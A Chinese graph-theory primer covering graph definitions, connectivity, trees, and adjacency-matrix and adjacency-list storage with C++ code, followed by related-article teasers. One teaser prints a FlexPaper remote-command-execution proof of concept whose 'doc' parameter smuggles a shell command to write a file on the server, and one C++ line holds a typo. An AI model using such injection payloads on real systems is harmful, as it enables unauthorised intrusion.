【图论】图论基础

图论不同地方讲的不太一样,本文仅限作者的理解

定义

图一般由点集 V V V 和边集 E E E 组成。
对于 v ∈ V v\in V vV,称 v v v 为该图的一个节点。
对于 e ∈ E e\in E eE,一般用二元组 ( u , v ) (u,v) (u,v) 表示 e e e,其中 u , v ∈ V u,v\in V u,vV。在无向图中,该二元组无序,即边为双向;在有向图中,该二元组有序,即边为单向。
一个带有边权(边的长度)的图称为带权图,此时边一般记为 ( u , v , w ) (u,v,w) (u,v,w)
下面分别是一个无向图和一个有向图的例子:
一个无向图
一个有向图

连通性

从一个图中选出一些节点和边,构成一个合法的新图,称做原图的子图。
扩展至最大的符合某一要求的子图被称为分量。
通过图中的边可以使节点之间联通(单向联通也算)的图称做连通图。
节点之间两两可以互相到达的有向图被称做强联通图。
如果一个图中某一个点及其边被删去后,图将不再联通,则称该点为原图的一个割点。
没有割点的图被称为点双连通图。
如果一个图中某一条边被删去后,图将不再联通,则称该边为原图的一个割边。
没有割边的图被称为边双连通图。
读者可以自行理解联通子图、联通分量、强连通子图、强连通分量、点双联通子图、点双联通分量、边双联通子图、边双联通分量等概念。

树与环

一个没有环的图称为无环图。
一个没有环的有向图称为有向无环图(DAG)。
一个没有环且联通的无向图称为树。
一个有恰一个环且联通的无向图称为基环树。
一个是树且包含所有节点的子图称为原图的生成树。

存储

一般有两种存储方式,邻接矩阵和邻接表。

邻接矩阵

使用一个矩阵来存储图,对于矩阵中的一个元素 G u , v G_{u,v} Gu,v
在无权图中, u , v u,v u,v 之间有边为 1 1 1,无边为 0 0 0
在带权图中, u , v u,v u,v 之间有边为 w w w,无边为 inf ⁡ \inf inf

邻接表

使用多个数组来存储图,对于每一个数组 G u G_u Gu
在无权图中, u , v u,v u,v 间有边则加入 v v v
在带权图中, u , v u,v u,v 间有边则加入有序二元组 ( v , w ) (v,w) (v,w)

代码

分为定义,输入和遍历三部分

  • 邻接矩阵
int G[N][N];
memset(G,0,sizeof(G));//无权
memset(G,INF,sizeof(G));//带权
for (int i=1;i<=m;i++){//无权int u,v;cin>>u>>v;G[u][v]=1;G[v][u]=1;//仅限无向图//带权int u,v,w;cin>>u>>v>>w;G[u][v]=w;G[v][u]=w;//仅限无向图
}
for (int u=1;u<=n;u++) for (int v=1;v<=n;v++)if (G[u][v])//无权if (G{u][v]!=INF)//带权
  • 邻接表
vector<int> G[N];//无权
//带权
struct edge{int v,w;};
vector<edge> G[N];
for (int i=1;i<=m;i++){//无权int u,v;cin>>u>>v;G[u].push_back(v);G[v].push_back(u);//仅限无向图//带权int u,v,w;cin>>u>>v>>w;G[u].push_back({v,w});G[v].push_back({u,w});//仅限无向图
}
for (int u=1;u<=n;u++)for (int v:G[u])//无权for (edge e:G[u])//带权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/830877.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux 根据提交记录生成补丁及新旧文件对比

#!/bin/bash#解决/bin/bash^M: bad interpreter: Text file busy #sed -i s/\r$// test1.shCMD1$1 CMD2$2 CMD3$3 echo "CMD1 > $CMD1" echo "CMD2 > $CMD2" echo "CMD3 > $CMD3" # 运行时的入参 CMD1提交记录1 CMD2提交记录2 CMD3输出…

短视频素材有哪些方法获得?推荐8个短视频素材免费资源

在这个视觉内容至关重要的时代&#xff0c;拥有高质量视频素材对于任何视频创作者来说都是必不可少的。视频素材不仅可以增强叙事的深度&#xff0c;还能显著提升观众的参与度。为了帮助你找到理想的视频素材&#xff0c;以下是全球范围内提供顶级视频素材的网站列表&#xff0…

基于FPGA的数字信号处理(5)--Signed的本质和作用

前言 Verilog中的signed是一个很多人用不好&#xff0c;或者说不太愿意用的一个语法。因为不熟悉它的机制&#xff0c;所以经常会导致运算结果莫名奇妙地出错。其实了解了signed以后&#xff0c;很多时候用起来还是挺方便的。 signed的使用方法主要有两种&#xff0c;其中一种…

笔记-用Python脚本启停JAR程序

用Python脚本启停JAR程序&#xff0c;需要用到python中的以下内置模块 subprocess 是 Python 的一个标准库模块&#xff0c;用于在新进程中执行子命令&#xff0c;获取子进程的输入/输出/错误以及返回码等os 是 Python 的一个标准库模块&#xff0c;它提供了与操作系统交互的功…

金融案例:统一查询方案助力数据治理与分析应用更高效、更安全

随着企业数据规模的增长和业务多元化发展&#xff0c;海量数据实时、多维地灵活查询变成业务常见诉求。同时多套数据库系统成为常态&#xff0c;这既带来了数据管理的复杂性&#xff0c;又加大了数据使用的难度&#xff0c;面对日益复杂的数据环境和严格的数据安全要求&#xf…

flexpaper 远程命令执行

flexpaper 远程命令执行 这个是有POC的&#xff0c;先简单复现一下 GET /ipg/static/appr/lib/flexpaper/php/view.php?doc1.docx"%26echoshell>shel233l.txt%23&pageexp&formatswf&callbackcallback&isSplittrue HTTP/1.1 Host: 192.168.50.22 Use…

【蓝桥杯】第十五届蓝桥杯C/C++B组省赛补题

文章目录 估分试题 A: 握手问题试题 B: 小球反弹试题 C: 好数试题 D: R 格式试题 E: 宝石组合试题 F: 数字接龙试题 G: 爬山试题 H: 拔河 估分 测试网址&#xff1a;民间测试数据 5 0 9 5 2 5 18 2 46 5 0 9 5 2 5 18 2 46 50952518246 试题 A: 握手问题 #inc…

【PSINS函数讲解】IMU误差设置方法——imuerrset

所用函数 imuerrset 函数使用形式 此函数用于输入IMU的相关误差参数,返回对应的IMU误差设置,工具箱中的一般使用形式为: imuerr = imuerrset(0, 0, 0.01, 100);上述的四个输入为函数的基本输入,分别为: 陀螺仪常值误差(单位:/小时)加速度常值误差(单位:ug,即约为…

Python 机器学习 基础 之 学习 基础环境搭建

Python 机器学习 基础 之 学习 基础环境搭建 目录 Python 机器学习 基础 之 学习 基础环境搭建 一、简单介绍 二、什么是机器学习 三、python 环境的搭建 1、Python 安装包下载 2、这里以 下载 Python 3.10.9 为例 3、安装 Python 3.10.9 4、检验 python 是否安装成功&…

Systemback Ubuntu14.04 制作自定义系统ISO镜像

工作需要&#xff0c;要基于ubuntu自定义一些编译环境并将自己配置好的ubuntu做成镜像。 硬件准备 ​ 为保证能够顺利完成系统iso镜像的制作与系统还原&#xff0c;推荐准备一个较大容量的U盘或者移动固态硬盘&#xff0c;同时确保自己的Ubuntu系统还有比较大的可用空间。 1 S…

【DevOps】Docker安装和使用示例

一、Ubuntu 20.04 上安装 Docker 在 Ubuntu 20.04 上安装 Docker 可以通过几种不同的方法完成&#xff0c;其中最简单和最常见的方法是使用 Docker 的官方安装脚本&#xff0c;或者通过 Ubuntu 的包管理工具 apt 手动安装。这里我将介绍两种方法&#xff1a;使用 Docker 的便捷…

jenkins教程

jenkins 一、简介二、下载安装三、配置jdk、maven和SSH四、部署微服务 一、简介 Jenkins是一个流行的开源自动化服务器&#xff0c;用于自动化软件开发过程中的构建、测试和部署任务。它提供了一个可扩展的插件生态系统&#xff0c;支持各种编程语言和工具。 Jenkins是一款开…

美团代付系统源码搭建ZHU16728

2024美团外卖点单代付系统源码基于php 基础开发&#xff0c;这套系统搭载了外卖系统属性&#xff0c;可添加物流信息。 1.完美对接微信支付&#xff0c;支付宝支付。 2.这套系统全新UI界面&#xff0c;完美搭建可以用作商用系统服务。 3.前端UI界面内容丰富&#xff0c;功能齐全…

有关CSS中排版常见问题(清除默认样式问题 + 元素居中问题 + 元素之间的空白问题 + 行内块的幽灵空白问题)

前言&#xff1a;在练习CSS排版的时候&#xff0c;我们经常会遇到一些排版上的问题&#xff0c;那么我们如何去解决这些问题呢&#xff1f;本篇文章给出了一些新手在练习排版时候可能会遇到的问题的解决方案。 ✨✨✨这里是秋刀鱼不做梦的BLOG ✨✨✨想要了解更多内容可以访问我…

【消息队列】RabbitMQ五种消息模式

RabbitMQ RabbitMQRabbitMQ安装 常见的消息模型基本消息队列SpringAMQPWorkQueue消息预取发布订阅模式Fanout ExchangeDirectExchangeTopicExchange 消息转换器 RabbitMQ RabbitMQ是基于Erlang语言开发的开源消息通信中间件 官网地址&#xff1a;https://www.rabbitmq.com/ R…

【VUE】Vue中实现树状表格结构编辑与版本对比的详细技术实现

Vue中实现树状表格结构编辑与版本对比的详细技术实现 在Vue中&#xff0c;创建一个可编辑的树状表格并实施版本对比功能是一种需求较为常见的场景。在本教程中&#xff0c;我们将使用Vue结合Element UI的el-table组件&#xff0c;来构建一个树状表格&#xff0c;其中包含添加、…

速盾:什么是cdn架构

CDN&#xff08;Content Delivery Network&#xff09;即内容分发网络&#xff0c;是一种分布式的架构&#xff0c;用于提高互联网上的内容传输速度和用户体验。CDN架构通过将内容分发到全球多个节点&#xff0c;使用户能够从最近的节点获取内容&#xff0c;从而减少延迟和网络…

第15届蓝桥杯-蒟蒻の反思与总结

基本情况 第15届蓝桥杯&#xff0c;参加c大学A组&#xff0c;完整做出的只有两道填空题。 然后后面的题目基本只拿了20%这样的分数&#xff0c;最后两道15分题目空白。 满分100分&#xff0c;估计总分在15-20分这样。 对于二分答案还是没有太熟练&#xff0c;考试的时候没有…

深入探究C++四大关键特性:初始化列表、友元函数、内部类与static成员

目录 1. 构造函数不为人知的那些事 1.1 构造函数体赋值与初始化列表对比 1.2 explicit关键字与构造函数隐式转换 2. static成员 2.1 static成员的概念 2.2 static成员的特性与应用 2.3 小结 3. C11 成员变量初始化新用法 4. 友元 4.1 友元函数 4.2 友元类 5. 内部类…

数字孪生需要的世界模型

今天看到这篇文章&#xff0c;提到了世界模型&#xff0c;仅是数据驱动的数字孪生已经不能满足需要了&#xff0c;需要应用世界模型使数字孪生具备推理、判断、感知世界的能力。 由于人工智能和机器学习的兴起&#xff0c;使用数据驱动建模来表示复杂系统已变得普遍&#xff0…